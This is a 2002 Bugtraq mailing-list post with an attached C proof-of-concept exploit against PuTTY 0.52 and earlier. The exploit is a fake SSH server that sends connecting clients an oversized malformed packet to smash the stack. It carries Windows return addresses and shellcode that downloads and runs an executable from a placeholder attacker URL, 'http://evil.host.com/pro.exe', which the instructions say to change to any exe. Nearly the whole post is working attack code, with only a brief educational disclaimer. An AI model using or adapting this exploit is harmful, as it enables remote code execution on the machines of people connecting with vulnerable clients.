[IPS] PUTTY SSH-Client Exploit
Date: Sat, 28 Dec 2002 15:51:46 -0000
From: =?iso-8859-1?Q?Daniel_Alc=E1ntara_de_la_Hoz?= <seguridad@iproyectos.net>
To: bugtraq@securityfocus.com
Subject: [IPS] PUTTY SSH-Client Exploit
------=_NextPart_000_0094_01C2AE89.067AF830
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
-----------------------------------------------------------
I-PROYECTOS Division Seguridad (Security Research)
-----------------------------------------------------------
2003 seguridad@iproyectos.net
Proof of concept code / Exploit
-----------------------------------------------------------
In December 16, 2002 Rapid 7.Inc released a security alert about
vulnerabilities in ssh2 implementations from multiple vendors. We have
used the concept to code this exploit/proof of concept.
It's a fake server to exploit the putty client. To test it you need to
change the url in the shellcode; that file will be downloaded and run
on exploitation.
This is intented for educational/testing purposes.
-----------------------------------------------------------
Developed by:
Rand ( jcamilleri@ono.com )
Dani ( dani@iproyectos.net )
------=_NextPart_000_0094_01C2AE89.067AF830
Content-Type: application/octet-stream;
name="IP-putty.c"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="IP-putty.c"
/*
* Putty v0.52 and minor exploit
* by Rand & Dani at IProyectos Division Seguridad ( www.iproyectos.com =
)
* Contact: seguridad@iproyectos.com
*
* Tested on linux and cygwin against putty 0.52 running on WinXP
* and Win2000.
*
*
* Instructions:
*
* * Define WINXP to use against WinXP, otherwise Win2K offset will be =
used.
* * Change URL in the shellcode to an exe of your chose. That will
* be executed upon exploitation.
*
* * If you want to do multiple tests do:
*
* while true ; do ./a.out ; done
*
* ...or if you want a functional daemon rewrite the code to fork.
*
*
* Contents:
*
* This is a proof of concept on the security advisory by I-Defense =
about
* multiple vendors ssh clients possible buffer overflows.
* The shellcode was borrowed from undersec.net.
*
*
* The problem:
*
* A validation error on SSH.C lets client to server cipher smash
* the stack, compromising code execution flow.
*
*
* Solution:
*
* Upgrade your SSH clients.
*
*
* Acknowledge to Carles for assistence with coding and to
* nurx2 and zon for testing.
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define PORT 22
#define QUEUE 8
/* Define for Win XP, leave undefined for Win2k */
#define WIN_XP
int=20
main(int argc, char **argv)
{
=20
char pdu_head[] =3D =
"\x53\x53\x48\x2d\x32\x2e\x30\x2d\x31\x2e\x32\x37\x20\x73\x73\x68"
"\x6c\x69\x62\x3a\x20\x57\x69\x6e\x53\x53\x48\x44\x20\x33\x2e\x30"
"\x35\x0d\x0a\x00\x00\x4e\xec\x01\x14\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde";
#ifdef WIN_XP
char ret[] =3D "\x70\x35\x52\x77";
#else
char ret[] =3D "\x56\x9A\x3C\x78";
#endif
=20
char junk[] =3D "\x00\x00\x07\xDE";
char shell[] =3D
=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90=
\x90\x90"
=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90=
\x90\x90"
=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90=
\x90\x90"
"\xEB\x30\x5F\xFC\x8B\xF7\x80"
=
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2=
\x04\xC1"
=
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2=
\x7C\x8B"
=
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8=
\x8B\x40"
=
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C=
\x03\x7D"
=
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B=
\xF8\x33"
=
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A=
\x03\x80"
=
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51=
\xF3\xA6"
=
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1=
\xE0\x02"
=
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40=
\x3C\x03"
=
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0=
\xAD\x03"
=
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC=
\x8D\x76"
=
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E=
\x74\x06"
=
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E=
\xEB\x02"
=
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D=
\xFC\x8D"
=
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45=
\xE4\xFC"
=
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43=
\xE2\xE1"
=
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53=
\x51\x53"
=
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43=
\xEB\xF9"
=
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4=
\xFF\xD0"
=
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF=
\xD0\x8D"
=
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52=
\x8D\x7B"
=
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6=
\x1F\xC1"
=
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B=
\x45\xB4"
=
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC=
\xFF\xD0"
=
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B=
\x55\xA4"
=
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC=
\xFF\xD0"
=
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F=
\x64\x75"
=
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32=
\x2E\x64"
=
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08=
\x4C\x6F"
=
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74=
\x08\x5F"
=
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63=
\x08\x5F"
=
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69=
\x74\x50"
=
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C=
\x08\x49"
=
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72=
\x6E\x65"
=
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74=
\x52\x65"
=
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F=
\x73\x65"
=
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65=
\x08"
"http://evil.host.com/pro.exe"
"\x08\x01";
=20
int sockfd, clientfd;
struct sockaddr_in server, client;
int len =3D sizeof(client);
int cont, cont_comas;
=20
char buf[20243]; =20
/* We create the malformed packet */
memset(buf, 0x61, sizeof(buf));
=09
cont_comas=3D0;
for(cont=3D125;cont<sizeof(buf);cont+=3D65) {
cont_comas++;
if(cont_comas>30) {
memcpy(buf + cont, junk, sizeof(junk)-1); =09
cont_comas=3D0;
cont+=3D3;
} else buf[cont]=3D0x2c;
}
memcpy(buf+sizeof(buf)-6,"\x00\x00\x00\x00\x00\x00",6);
memcpy(buf, pdu_head, 61);
memcpy(buf + 0x1098, ret ,4);
memcpy(buf + 0x109c, shell, sizeof(shell));
=20
/* We listen on port PORT */
if ((sockfd =3D socket(AF_INET, SOCK_STREAM, 0)) =3D=3D -1) {
perror("socket");
exit(-1);
}
bzero(&server, sizeof(server));
=20
server.sin_family =3D AF_INET;
server.sin_addr.s_addr =3D htonl(INADDR_ANY);
server.sin_port =3D htons(PORT);
=20
if (bind(sockfd, (struct sockaddr *) & server,
sizeof(server)) =3D=3D -1) {
perror("bind");
exit(-1);
}
listen(sockfd, QUEUE);
if ((clientfd =3D accept
(sockfd,
(struct sockaddr *) & client, &len)) =3D=3D -1) {
perror("accept");
exit(-1);
}
/* We send the junk and exploit */
write(clientfd,buf,sizeof(buf));
/* This will fix local connections closing too fast */
sleep(10);
=20
close(clientfd);
close(sockfd);
return 0;
/* Greets to the people at #vemo. Dedicated to the monster under my =
bed. */
}
------=_NextPart_000_0094_01C2AE89.067AF830--